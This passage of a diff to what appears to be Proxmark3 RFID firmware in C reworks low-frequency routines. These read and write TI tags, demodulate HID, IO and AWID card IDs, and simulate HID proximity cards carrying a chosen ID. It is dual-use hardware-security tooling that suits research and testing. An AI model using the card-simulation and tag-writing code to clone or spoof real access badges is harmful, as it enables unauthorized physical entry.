AT91C_SSC_RXRDY) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - LED_D_OFF(); - if (trigger_threshold != -1 && dest[i] < trigger_threshold) - continue; - else - trigger_threshold = -1; - if (++i >= n) break; - } - } - Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", - dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]); -} +// new timer: +// = 1us = 1.5ticks +// 1fc = 8us = 12ticks -void ModThenAcquireRawAdcSamples125k(int delay_off, int period_0, int period_1, uint8_t *command) -{ - int at134khz; - /* Make sure the tag is reset */ +/** + * Function to do a modulation and then get samples. + * @param delay_off + * @param period_0 + * @param period_1 + * @param command (in binary char array) + */ +void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command) { + + // start timer + StartTicks(); + + // use lf config settings + sample_config *sc = getSamplingConfig(); + + // Make sure the tag is reset FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(2500); + WaitMS(500); - // see if 'h' was specified - if (command[strlen((char *) command) - 1] == 'h') - at134khz = TRUE; - else - at134khz = FALSE; - - if (at134khz) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - else - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Give it a bit of time for the resonant antenna to settle. - SpinDelay(50); - // And a little more time for the tag to fully power up - SpinDelay(2000); - - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); + // clear read buffer + BigBuf_Clear_keep_EM(); + LFSetupFPGAForADC(sc->divisor, 1); + + // little more time for the tag to fully power up + WaitMS(200); + + // if delay_off = 0 then just bitbang 1 = antenna on 0 = off for respective periods. + bool bitbang = delay_off == 0; // now modulate the reader field - while(*command != '\0' && *command != ' ') { - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LED_D_OFF(); - SpinDelayUs(delay_off); - if (at134khz) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - else - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + if (bitbang) { + // HACK it appears the loop and if statements take up about 7us so adjust waits accordingly... + uint8_t hack_cnt = 7; + if (period_0 < hack_cnt || period_1 < hack_cnt) { + DbpString("[!] Warning periods cannot be less than 7us in bit bang mode"); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LED_D_OFF(); + return; + } - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - LED_D_ON(); - if(*(command++) == '0') - SpinDelayUs(period_0); - else - SpinDelayUs(period_1); + // hack2 needed--- it appears to take about 8-16us to turn the antenna back on + // leading to ~ 1 to 2 125khz samples extra in every off period + // so we should test for last 0 before next 1 and reduce period_0 by this extra amount... + // but is this time different for every antenna or other hw builds??? more testing needed + + // prime cmd_len to save time comparing strings while modulating + int cmd_len = 0; + while(command[cmd_len] != '\0' && command[cmd_len] != ' ') + cmd_len++; + + int counter = 0; + bool off = false; + for (counter = 0; counter < cmd_len; counter++) { + // if cmd = 0 then turn field off + if (command[counter] == '0') { + // if field already off leave alone (affects timing otherwise) + if (off == false) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LED_D_OFF(); + off = true; + } + // note we appear to take about 7us to switch over (or run the if statements/loop...) + WaitUS(period_0 - hack_cnt); + // else if cmd = 1 then turn field on + } else { + // if field already on leave alone (affects timing otherwise) + if (off) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + LED_D_ON(); + off = false; + } + // note we appear to take about 7us to switch over (or run the if statements/loop...) + WaitUS(period_1 - hack_cnt); + } + } + } else { // old mode of cmd read using delay as off period + while(*command != '\0' && *command != ' ') { + LED_D_ON(); + if (*(command++) == '0') + TurnReadLFOn(period_0); + else + TurnReadLFOn(period_1); + + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + WaitUS(delay_off); + } + + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); } - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LED_D_OFF(); - SpinDelayUs(delay_off); - if (at134khz) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - else - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); // now do the read - DoAcquisition125k(-1); + DoAcquisition_config(false, 0); + + // Turn off antenna + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + // tell client we are done + cmd_send(CMD_ACK,0,0,0,0,0); } /* blank r/w tag data stream @@ -147,6 +166,7 @@ void ModThenAcquireRawAdcSamples125k(int delay_off, int period_0, int period_1, */ void ReadTItag(void) { + StartTicks(); // some hardcoded initial params // when we read a TI tag we sample the zerocross line at 2Mhz // TI tags modulate a 1 as 16 cycles of 123.2Khz @@ -155,11 +175,8 @@ void ReadTItag(void) #define FREQLO 123200 #define FREQHI 134200 - signed char *dest = (signed char *)BigBuf; - int n = sizeof(BigBuf); -// int *dest = GraphBuffer; -// int n = GraphTraceLen; - + signed char *dest = (signed char *)BigBuf_get_addr(); + uint16_t n = BigBuf_max_traceLen(); // 128 bit shift register [shift3:shift2:shift1:shift0] uint32_t shift3 = 0, shift2 = 0, shift1 = 0, shift0 = 0; @@ -195,10 +212,10 @@ void ReadTItag(void) // TI bits are coming to us lsb first so shift them // right through our 128 bit right shift register - shift0 = (shift0>>1) | (shift1 << 31); - shift1 = (shift1>>1) | (shift2 << 31); - shift2 = (shift2>>1) | (shift3 << 31); - shift3 >>= 1; + shift0 = (shift0>>1) | (shift1 << 31); + shift1 = (shift1>>1) | (shift2 << 31); + shift2 = (shift2>>1) | (shift3 << 31); + shift3 >>= 1; // check if the cycles fall close to the number // expected for either the low or high frequency @@ -233,18 +250,18 @@ void ReadTItag(void) if (cycles!=0xF0B) { DbpString("Info: No valid tag detected."); } else { - // put 64 bit data into shift1 and shift0 - shift0 = (shift0>>24) | (shift1 << 8); - shift1 = (shift1>>24) | (shift2 << 8); + // put 64 bit data into shift1 and shift0 + shift0 = (shift0>>24) | (shift1 << 8); + shift1 = (shift1>>24) | (shift2 << 8); // align 16 bit crc into lower half of shift2 - shift2 = ((shift2>>24) | (shift3 << 8)) & 0x0ffff; + shift2 = ((shift2>>24) | (shift3 << 8)) & 0x0ffff; // if r/w tag, check ident match - if ( shift3&(1<<15) ) { + if (shift3 & (1<<15) ) { DbpString("Info: TI tag is rewriteable"); // only 15 bits compare, last bit of ident is not valid - if ( ((shift3>>16)^shift0)&0x7fff ) { + if (((shift3 >> 16) ^ shift0) & 0x7fff ) { DbpString("Error: Ident mismatch!"); } else { DbpString("Info: TI tag ident is valid"); @@ -259,7 +276,7 @@ void ReadTItag(void) // calculate CRC uint32_t crc=0; - crc = update_crc16(crc, (shift0)&0xff); + crc = update_crc16(crc, (shift0)&0xff); crc = update_crc16(crc, (shift0>>8)&0xff); crc = update_crc16(crc, (shift0>>16)&0xff); crc = update_crc16(crc, (shift0>>24)&0xff); @@ -268,14 +285,14 @@ void ReadTItag(void) crc = update_crc16(crc, (shift1>>16)&0xff); crc = update_crc16(crc, (shift1>>24)&0xff); - Dbprintf("Info: Tag data: %x%08x, crc=%x", - (unsigned int)shift1, (unsigned int)shift0, (unsigned int)shift2 & 0xFFFF); + Dbprintf("Info: Tag data: %x%08x, crc=%x", (unsigned int)shift1, (unsigned int)shift0, (unsigned int)shift2 & 0xFFFF); if (crc != (shift2&0xffff)) { Dbprintf("Error: CRC mismatch, expected %x", (unsigned int)crc); } else { DbpString("Info: CRC is good"); } } + StopTicks(); } void WriteTIbyte(uint8_t b) @@ -285,20 +302,20 @@ void WriteTIbyte(uint8_t b) // modulate 8 bits out to the antenna for (i=0; i<8; i++) { - if (b&(1<PIO_PDR = GPIO_SSC_DIN; @@ -330,16 +350,18 @@ void AcquireTiType(void) AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(0); AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(32) | AT91C_SSC_MSBF; + // Transmit Clock Mode Register AT91C_BASE_SSC->SSC_TCMR = 0; + // Transmit Frame Mode Register AT91C_BASE_SSC->SSC_TFMR = 0; - + // iceman, FpgaSetupSsc() ?? the code above? can it be replaced? LED_D_ON(); // modulate antenna HIGH(GPIO_SSC_DOUT); // Charge TI tag for 50ms. - SpinDelay(50); + WaitMS(50); // stop modulating antenna and listen LOW(GPIO_SSC_DOUT); @@ -347,10 +369,11 @@ void AcquireTiType(void) LED_D_OFF(); i = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - BigBuf[i] = AT91C_BASE_SSC->SSC_RHR; // store 32 bit values in buffer - i++; if(i >= TIBUFLEN) break; + for (;;) { + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + buf[i] = AT91C_BASE_SSC->SSC_RHR; // store 32 bit values in buffer + i++; + if (i >= TIBUFLEN) break; } WDT_HIT(); } @@ -359,18 +382,22 @@ void AcquireTiType(void) AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT; - char *dest = (char *)BigBuf; - n = TIBUFLEN*32; + char *dest = (char *)BigBuf_get_addr(); + n = TIBUFLEN * 32; + // unpack buffer - for (i=TIBUFLEN-1; i>=0; i--) { - for (j=0; j<32; j++) { - if(BigBuf[i] & (1 << j)) { + for (i = TIBUFLEN-1; i >= 0; i--) { + for (j = 0; j < 32; j++) { + if(buf[i] & (1 << j)) { dest[--n] = 1; } else { dest[--n] = -1; } } } + + // reset SSC + FpgaSetupSsc(); } // arguments: 64bit data split into 32bit idhi:idlo and optional 16bit crc @@ -378,9 +405,9 @@ void AcquireTiType(void) // if not provided a valid crc will be computed from the data and written. void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) { - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); if(crc == 0) { - crc = update_crc16(crc, (idlo)&0xff); + crc = update_crc16(crc, (idlo)&0xff); crc = update_crc16(crc, (idlo>>8)&0xff); crc = update_crc16(crc, (idlo>>16)&0xff); crc = update_crc16(crc, (idlo>>24)&0xff); @@ -389,8 +416,7 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) crc = update_crc16(crc, (idhi>>16)&0xff); crc = update_crc16(crc, (idhi>>24)&0xff); } - Dbprintf("Writing to tag: %x%08x, crc=%x", - (unsigned int) idhi, (unsigned int) idlo, crc); + Dbprintf("Writing to tag: %x%08x, crc=%x", idhi, idlo, crc); // TI tags charge at 134.2Khz FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz @@ -399,8 +425,10 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) // whether we're modulating the antenna (high) // or listening to the antenna (low) FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_PASSTHRU); + StartTicks(); + LED_A_ON(); - + // steal this pin from the SSP and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; @@ -412,12 +440,12 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) // start by writing 0xBB (keyword) and 0xEB (password) // then write 80 bits of data (or 64 bit data + 16 bit crc if you prefer) // finally end with 0x0300 (write frame) - // all data is sent lsb firts - // finish with 15ms programming time + // all data is sent lsb first + // finish with 50ms programming time // modulate antenna HIGH(GPIO_SSC_DOUT); - SpinDelay(50); // charge time + WaitMS(50); // charge time WriteTIbyte(0xbb); // keyword WriteTIbyte(0xeb); // password @@ -434,7 +462,7 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) WriteTIbyte(0x00); // write frame lo WriteTIbyte(0x03); // write frame hi HIGH(GPIO_SSC_DOUT); - SpinDelay(50); // programming time + WaitMS(50); // programming time LED_A_OFF(); @@ -442,54 +470,69 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) AcquireTiType(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - DbpString("Now use tiread to check"); + DbpString("Now use `lf ti read` to check"); + StopTicks(); } -void SimulateTagLowFrequency(int period, int gap, int ledcontrol) -{ - int i; - uint8_t *tab = (uint8_t *)BigBuf; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); +void SimulateTagLowFrequencyEx(int period, int gap, int ledcontrol, int numcycles) { + // note this may destroy the bigbuf so be sure this is called before now... + //FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + //FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE ); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - + SpinDelay(20); + + int i = 0, x = 0; + uint8_t *buf = BigBuf_get_addr(); + + // set frequency, get values from 'lf config' command + sample_config *sc = getSamplingConfig(); + + if ( (sc->divisor == 1) || (sc->divisor < 0) || (sc->divisor > 255) ) + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + else if (sc->divisor == 0) + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + else + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT | GPIO_SSC_CLK; - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_ODR = GPIO_SSC_CLK; - -#define SHORT_COIL() LOW(GPIO_SSC_DOUT) -#define OPEN_COIL() HIGH(GPIO_SSC_DOUT) - - i = 0; + for(;;) { - while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)) { - if(BUTTON_PRESS()) { - DbpString("Stopped"); - return; + + if ( numcycles > -1 ) { + if ( x != numcycles ) { + ++x; + } else { + // exit without turning of field + return; } - WDT_HIT(); } - - if (ledcontrol) - LED_D_ON(); - - if(tab[i]) + + if (ledcontrol) LED_D_ON(); + + // wait until SSC_CLK goes HIGH + // used as a simple detection of a reader field? + while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)) { + WDT_HIT(); + if ( usb_poll_validate_length() || BUTTON_PRESS() ) + goto OUT; + } + + if(buf[i]) OPEN_COIL(); else SHORT_COIL(); - - if (ledcontrol) - LED_D_OFF(); - + + //wait until SSC_CLK goes LOW while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK) { - if(BUTTON_PRESS()) { - DbpString("Stopped"); - return; - } WDT_HIT(); + //if ( usb_poll_validate_length() || BUTTON_PRESS() ) + if ( BUTTON_PRESS() ) + goto OUT; } - + i++; if(i == period) { i = 0; @@ -498,37 +541,51 @@ void SimulateTagLowFrequency(int period, int gap, int ledcontrol) SpinDelayUs(gap); } } + + if (ledcontrol) LED_D_OFF(); } +OUT: + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LED_D_OFF(); } +void SimulateTagLowFrequency(int period, int gap, int ledcontrol) { + SimulateTagLowFrequencyEx(period, gap, ledcontrol, -1); +} + + #define DEBUG_FRAME_CONTENTS 1 void SimulateTagLowFrequencyBidir(int divisor, int t0) { } +// compose fc/5 fc/8 waveform (FSK1) -// compose fc/8 fc/10 waveform -static void fc(int c, int *n) { - uint8_t *dest = (uint8_t *)BigBuf; +// compose fc/8 fc/10 waveform (FSK2) +// also manchester, +static void fc(int c, int *n) +{ + uint8_t *dest = BigBuf_get_addr(); int idx; // for when we want an fc8 pattern every 4 logical bits if(c==0) { dest[((*n)++)]=1; dest[((*n)++)]=1; - dest[((*n)++)]=0; - dest[((*n)++)]=0; + dest[((*n)++)]=1; + dest[((*n)++)]=1; dest[((*n)++)]=0; dest[((*n)++)]=0; dest[((*n)++)]=0; dest[((*n)++)]=0; } - // an fc/8 encoded bit is a bit pattern of 11000000 x6 = 48 samples + + // an fc/8 encoded bit is a bit pattern of 11110000 x6 = 48 samples if(c==8) { for (idx=0; idx<6; idx++) { dest[((*n)++)]=1; dest[((*n)++)]=1; - dest[((*n)++)]=0; - dest[((*n)++)]=0; + dest[((*n)++)]=1; + dest[((*n)++)]=1; dest[((*n)++)]=0; dest[((*n)++)]=0; dest[((*n)++)]=0; @@ -536,14 +593,14 @@ static void fc(int c, int *n) { } } - // an fc/10 encoded bit is a bit pattern of 1110000000 x5 = 50 samples + // an fc/10 encoded bit is a bit pattern of 1111100000 x5 = 50 samples if(c==10) { for (idx=0; idx<5; idx++) { dest[((*n)++)]=1; dest[((*n)++)]=1; dest[((*n)++)]=1; - dest[((*n)++)]=0; - dest[((*n)++)]=0; + dest[((*n)++)]=1; + dest[((*n)++)]=1; dest[((*n)++)]=0; dest[((*n)++)]=0; dest[((*n)++)]=0; @@ -553,924 +610,962 @@ static void fc(int c, int *n) { } } +// special start of frame marker containing invalid bit sequences +// this one is focused on HID, with manchester encoding. +static void fcSTT(int *n) { + fc(8, n); fc(8, n); // invalid + fc(8, n); fc(10, n); // logical 0 + fc(10, n); fc(10, n); // invalid + fc(8, n); fc(10, n); // logical 0 +} + +// compose fc/X fc/Y waveform (FSKx) +static void fcAll(uint8_t fc, int *n, uint8_t clock, uint16_t *modCnt) +{ + uint8_t *dest = BigBuf_get_addr(); + uint8_t halfFC = fc/2; + uint8_t wavesPerClock = clock/fc; + uint8_t mod = clock % fc; //modifier + uint8_t modAdj = fc/mod; //how often to apply modifier + bool modAdjOk = !(fc % mod); //if (fc % mod==0) modAdjOk = true; + + // loop through clock - step field clock + for (uint8_t idx=0; idx < wavesPerClock; idx++){ + // put 1/2 FC length 1's and 1/2 0's per field clock wave (to create the wave) + memset(dest+(*n), 0, fc-halfFC); //in case of odd number use extra here + memset(dest+(*n)+(fc-halfFC), 1, halfFC); + *n += fc; + } + if (mod>0) (*modCnt)++; + if ((mod>0) && modAdjOk){ //fsk2 + if ((*modCnt % modAdj) == 0){ //if 4th 8 length wave in a rf/50 add extra 8 length wave + memset(dest+(*n), 0, fc-halfFC); + memset(dest+(*n)+(fc-halfFC), 1, halfFC); + *n += fc; + } + } + if (mod>0 && !modAdjOk){ //fsk1 + memset(dest+(*n), 0, mod-(mod/2)); + memset(dest+(*n)+(mod-(mod/2)), 1, mod/2); + *n += mod; + } +} + // prepare a waveform pattern in the buffer based on the ID given then // simulate a HID tag until the button is pressed -void CmdHIDsimTAG(int hi, int lo, int ledcontrol) -{ - int n=0, i=0; +void CmdHIDsimTAGEx( uint32_t hi, uint32_t lo, int ledcontrol, int numcycles) { + + if (hi > 0xFFF) { + DbpString("[!] tags can only have 44 bits. - USE lf simfsk for larger tags"); + return; + } + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + set_tracing(false); + + int n = 0, i = 0; /* HID tag bitstream format The tag contains a 44bit unique code. This is sent out MSB first in sets of 4 bits - A 1 bit is represented as 6 fc8 and 5 fc10 patterns - A 0 bit is represented as 5 fc10 and 6 fc8 patterns + A 1 bit is represented as 6 fc8 and 5 fc10 patterns (manchester 10) during 2 clock periods. (1bit = 1clock period) + A 0 bit is represented as 5 fc10 and 6 fc8 patterns (manchester 01) A fc8 is inserted before every 4 bits A special start of frame pattern is used consisting a0b0 where a and b are neither 0 nor 1 bits, they are special patterns (a = set of 12 fc8 and b = set of 10 fc10) + + FSK2a + bit 1 = fc10 + bit 0 = fc8 */ - if (hi>0xFFF) { - DbpString("Tags can only have 44 bits."); - return; - } - fc(0,&n); - // special start of frame marker containing invalid bit sequences - fc(8, &n); fc(8, &n); // invalid - fc(8, &n); fc(10, &n); // logical 0 - fc(10, &n); fc(10, &n); // invalid - fc(8, &n); fc(10, &n); // logical 0 + fc(0, &n); - WDT_HIT(); + // special start of frame marker containing invalid bit sequences + fcSTT(&n); + // manchester encode bits 43 to 32 for (i=11; i>=0; i--) { - if ((i%4)==3) fc(0,&n); - if ((hi>>i)&1) { - fc(10, &n); fc(8, &n); // low-high transition + + if ((i%4)==3) fc(0, &n); + + if ((hi>>i) & 1) { + fc(10, &n); fc(8, &n); // low-high transition } else { - fc(8, &n); fc(10, &n); // high-low transition + fc(8, &n); fc(10, &n); // high-low transition } } - WDT_HIT(); // manchester encode bits 31 to 0 for (i=31; i>=0; i--) { - if ((i%4)==3) fc(0,&n); - if ((lo>>i)&1) { - fc(10, &n); fc(8, &n); // low-high transition + + if ((i%4)==3) fc(0, &n); + + if ((lo>>i) & 1) { + fc(10, &n); fc(8, &n); // low-high transition } else { - fc(8, &n); fc(10, &n); // high-low transition + fc(8, &n); fc(10, &n); // high-low transition } } - if (ledcontrol) - LED_A_ON(); - SimulateTagLowFrequency(n, 0, ledcontrol); - - if (ledcontrol) - LED_A_OFF(); + if (ledcontrol) LED_A_ON(); + SimulateTagLowFrequencyEx(n, 0, ledcontrol, numcycles); + if (ledcontrol) LED_A_OFF(); } - -// loop to capture raw HID waveform then FSK demodulate the TAG ID from it -void CmdHIDdemodFSK(int findone, int *high, int *low, int ledcontrol) -{ - uint8_t *dest = (uint8_t *)BigBuf; - int m=0, n=0, i=0, idx=0, found=0, lastval=0; - uint32_t hi2=0, hi=0, lo=0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Give it a bit of time for the resonant antenna to settle. - SpinDelay(50); - - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); - - for(;;) { - WDT_HIT(); - if (ledcontrol) - LED_A_ON(); - if(BUTTON_PRESS()) { - DbpString("Stopped"); - if (ledcontrol) - LED_A_OFF(); - return; - } - - i = 0; - m = sizeof(BigBuf); - memset(dest,128,m); - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x43; - if (ledcontrol) - LED_D_ON(); - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - // we don't care about actual value, only if it's more or less than a - // threshold essentially we capture zero crossings for later analysis - if(dest[i] < 127) dest[i] = 0; else dest[i] = 1; - i++; - if (ledcontrol) - LED_D_OFF(); - if(i >= m) { - break; - } - } - } - - // FSK demodulator - - // sync to first lo-hi transition - for( idx=1; idx>1) & 0xFFFF); - } - else { - Dbprintf("TAG ID: %x%08x (%d)", - (unsigned int) hi, (unsigned int) lo, (unsigned int) (lo>>1) & 0xFFFF); - } - /* if we're only looking for one tag */ - if (findone) - { - *high = hi; - *low = lo; - return; - } - hi2=0; - hi=0; - lo=0; - found=0; - } - } - if (found) { - if (dest[idx] && (!dest[idx+1]) ) { - hi2=(hi2<<1)|(hi>>31); - hi=(hi<<1)|(lo>>31); - lo=(lo<<1)|0; - } else if ( (!dest[idx]) && dest[idx+1]) { - hi2=(hi2<<1)|(hi>>31); - hi=(hi<<1)|(lo>>31); - lo=(lo<<1)|1; - } else { - found=0; - hi2=0; - hi=0; - lo=0; - } - idx++; - } - if ( dest[idx] && dest[idx+1] && dest[idx+2] && (!dest[idx+3]) && (!dest[idx+4]) && (!dest[idx+5]) ) - { - found=1; - idx+=6; - if (found && (hi|lo)) { - if (hi2 != 0){ - Dbprintf("TAG ID: %x%08x%08x (%d)", - (unsigned int) hi2, (unsigned int) hi, (unsigned int) lo, (unsigned int) (lo>>1) & 0xFFFF); - } - else { - Dbprintf("TAG ID: %x%08x (%d)", - (unsigned int) hi, (unsigned int) lo, (unsigned int) (lo>>1) & 0xFFFF); - } - /* if we're only looking for one tag */ - if (findone) - { - *high = hi; - *low = lo; - return; - } - hi2=0; - hi=0; - lo=0; - found=0; - } - } - } - WDT_HIT(); - } +void CmdHIDsimTAG( uint32_t hi, uint32_t lo, int ledcontrol) { + CmdHIDsimTAGEx( hi, lo, ledcontrol, -1); + DbpString("[!] simulation finished"); } -void CmdIOdemodFSK(int findone, int *high, int *low, int ledcontrol) -{ - uint8_t *dest = (uint8_t *)BigBuf; - int m=0, n=0, i=0, idx=0, lastval=0; - int found=0; - uint32_t code=0, code2=0; - //uint32_t hi2=0, hi=0, lo=0; - +// prepare a waveform pattern in the buffer based on the ID given then +// simulate a FSK tag until the button is pressed +// arg1 contains fcHigh and fcLow, arg2 contains STT marker and clock +void CmdFSKsimTAG(uint16_t arg1, uint16_t arg2, size_t size, uint8_t *bits) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(false); + + int ledcontrol = 1, n = 0, i = 0; + uint8_t fcHigh = arg1 >> 8; + uint8_t fcLow = arg1 & 0xFF; + uint16_t modCnt = 0; + uint8_t clk = arg2 & 0xFF; + uint8_t stt = (arg2 >> 8) & 1; - // Give it a bit of time for the resonant antenna to settle. - SpinDelay(50); - - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); - - for(;;) { - WDT_HIT(); - if (ledcontrol) - LED_A_ON(); - if(BUTTON_PRESS()) { - DbpString("Stopped"); - if (ledcontrol) - LED_A_OFF(); - return; - } - - i = 0; - m = sizeof(BigBuf); - memset(dest,128,m); - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x43; - if (ledcontrol) - LED_D_ON(); - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - dest[i] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - // we don't care about actual value, only if it's more or less than a - // threshold essentially we capture zero crossings for later analysis - if(dest[i] < 127) dest[i] = 0; else dest[i] = 1; - i++; - if (ledcontrol) - LED_D_OFF(); - if(i >= m) { - break; - } - } - } - - // FSK demodulator - - // sync to first lo-hi transition - for( idx=1; idx> 8) & 0xFF; + uint8_t encoding = arg1 & 0xFF; + uint8_t separator = arg2 & 1; + uint8_t invert = (arg2 >> 8) & 1; + + if (encoding == 2){ //biphase + uint8_t phase = 0; + for (i=0; i> 8; + uint8_t carrier = arg1 & 0xFF; + uint8_t invert = arg2 & 0xFF; + uint8_t curPhase = 0; + for (i=0; i0 && lo>0 && (size==96 || size==192)){ + // go over previously decoded manchester data and decode into usable tag ID + if (hi2 != 0){ //extra large HID tags 88/192 bits + Dbprintf("TAG ID: %x%08x%08x (%d)", + hi2, + hi, + lo, + (lo >> 1) & 0xFFFF + ); + } else { //standard HID tags 44/96 bits + uint8_t bitlen = 0; + uint32_t fc = 0; + uint32_t cardnum = 0; + + if (((hi >> 5) & 1) == 1){//if bit 38 is set then < 37 bit format is used + uint32_t lo2 = 0; + lo2=(((hi & 31) << 12) | (lo>>20)); //get bits 21-37 to check for format len bit + uint8_t idx3 = 1; + while (lo2 > 1){ //find last bit set to 1 (format len bit) + lo2 >>= 1; + idx3++; + } + bitlen = idx3 + 19; + fc = 0; + cardnum = 0; + if (bitlen == 26){ + cardnum = (lo >> 1) & 0xFFFF; + fc = (lo >> 17) & 0xFF; + } + if (bitlen == 37){ + cardnum = (lo >> 1 ) & 0x7FFFF; + fc = ((hi & 0xF) << 12) | (lo >> 20); + } + if (bitlen == 34){ + cardnum = (lo >> 1) & 0xFFFF; + fc = ((hi & 1) << 15) | (lo >> 17); + } + if (bitlen == 35){ + cardnum = (lo >> 1) & 0xFFFFF; + fc = ((hi & 1) << 11)|(lo >> 21); + } + } + else { //if bit 38 is not set then 37 bit format is used + bitlen= 37; + fc = 0; + cardnum = 0; + if (bitlen == 37){ + cardnum = (lo >> 1) & 0x7FFFF; + fc = ((hi & 0xF) << 12) | (lo >> 20); + } + } + Dbprintf("TAG ID: %x%08x (%d) - Format Len: %dbit - FC: %d - Card: %d", + hi, + lo, + (lo >> 1) & 0xFFFF, + bitlen, + fc, + cardnum + ); + } + if (findone){ + if (ledcontrol) LED_A_OFF(); + *high = hi; + *low = lo; + break; + } + // reset + } + hi2 = hi = lo = idx = 0; + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + DbpString("Stopped"); + if (ledcontrol) LED_A_OFF(); +} + +// loop to get raw HID waveform then FSK demodulate the TAG ID from it +void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { + + uint8_t *dest = BigBuf_get_addr(); + + //big enough to catch 2 sequences of largest format + size_t size = 12800; //50 * 128 * 2; + + int idx = 0, dummyIdx = 0; + + BigBuf_Clear_keep_EM(); + + LFSetupFPGAForADC(95, true); + + while(!BUTTON_PRESS() && !usb_poll_validate_length()) { + + WDT_HIT(); + if (ledcontrol) LED_A_ON(); + + DoAcquisition_default(-1, true); + // FSK demodulator + + idx = detectAWID(dest, &size, 